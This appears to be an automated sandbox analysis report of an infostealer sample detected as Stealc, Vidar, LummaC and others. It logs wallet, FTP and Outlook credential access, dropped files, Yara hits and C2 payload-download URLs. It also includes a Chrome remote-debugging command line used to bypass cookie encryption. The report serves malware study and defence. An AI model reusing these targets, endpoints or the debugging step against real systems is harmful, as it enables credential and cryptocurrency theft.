Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG

Source: Yara match	File source: 00000013.00000003.3165454493.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2887857477.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2947502501.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.3165454493.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2863895626.0000000000EF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.3163189806.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.3163189806.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.3126712779.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2942344526.0000000000EF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2972911778.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2915507656.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.3084946747.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2863431539.0000000000EF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.3174010406.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 43cdd8ad97.exe PID: 8184, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 43cdd8ad97.exe PID: 6972, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Credential Flusher

Source: Yara match	File source: 00000014.00000003.2958747592.0000000001853000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.3125854620.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fd549fc84a.exe PID: 1900, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 43cdd8ad97.exe PID: 8184, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 43cdd8ad97.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000012.00000002.2949039124.0000000000FD1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3061560416.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2642547892.000000000082E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2903220212.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2079497513.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2643149920.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3153209613.0000000000777000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3154929819.0000000000FD1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2948364302.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 998d30a932.exe PID: 6408, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2172, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	11 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	881 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	111 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	12 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	55%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[3].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1010358001\82d9128a9d.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1010359001\76ee5543cc.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	0%	ReversingLabs
C:\Users\user\Documents\EBFHJEGDAF.exe	55%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
https://atten-supporse.biz/a#Bb	0%	Avira URL Cloud	safe
https://atten-supporse.biz:443/apiYV_b	0%	Avira URL Cloud	safe
https://atten-supporse.biz/NzDg	0%	Avira URL Cloud	safe
https://atten-supporse.biz/--#	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php6-535557bcc5fal	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpyRY	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
services.addons.mozilla.org	151.101.65.91	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
mitmdetection.services.mozilla.com	18.66.161.4	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.181.100	true	false	high
home.twentykx20pt.top	34.118.84.150	true	false	high
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	high
httpbin.org	18.208.8.205	true	false	high
star-mini.c10r.facebook.com	157.240.196.35	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
twitter.com	104.244.42.65	true	false	high
dyna.wikimedia.org	185.15.58.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
youtube.com	142.250.181.142	true	false	high
atten-supporse.biz	104.21.16.9	true	false	high
youtube-ui.l.google.com	216.58.208.238	true	false	high
reddit.map.fastly.net	151.101.1.140	true	false	high
twentykx20pt.top	34.118.84.150	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
www.reddit.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
normandy.cdn.mozilla.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://atten-supporse.biz/api	false	high
http://185.156.72.65/dll/key	false	high
http://185.156.72.65/soft/download	false	high
https://httpbin.org/ip	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
https://atten-supporse.biz:443/api	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://detectportal.firefox.com/	firefox.exe, 00000021.00000002.3180233244.00000209F69B9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000021.00000002.3139500286.00000209E55D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 00000021.00000003.3103409848.00000209F6E35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3187443468.00000209F6E28000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	998d30a932.exe, 00000012.00000002.2948364302.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz:443/apiYV_b	43cdd8ad97.exe, 00000013.00000003.3084946747.0000000000D58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000021.00000002.3212917829.00000209FD2C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3088069984.00000209FD2CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3056291144.00000209FD2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3056291144.00000209FD2CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3087217491.00000209FD2E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 00000021.00000002.3149219844.00000209F16B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3990000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F323C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F32F4000.00000004.00000800.00020000.00000000.sdmp	false		high
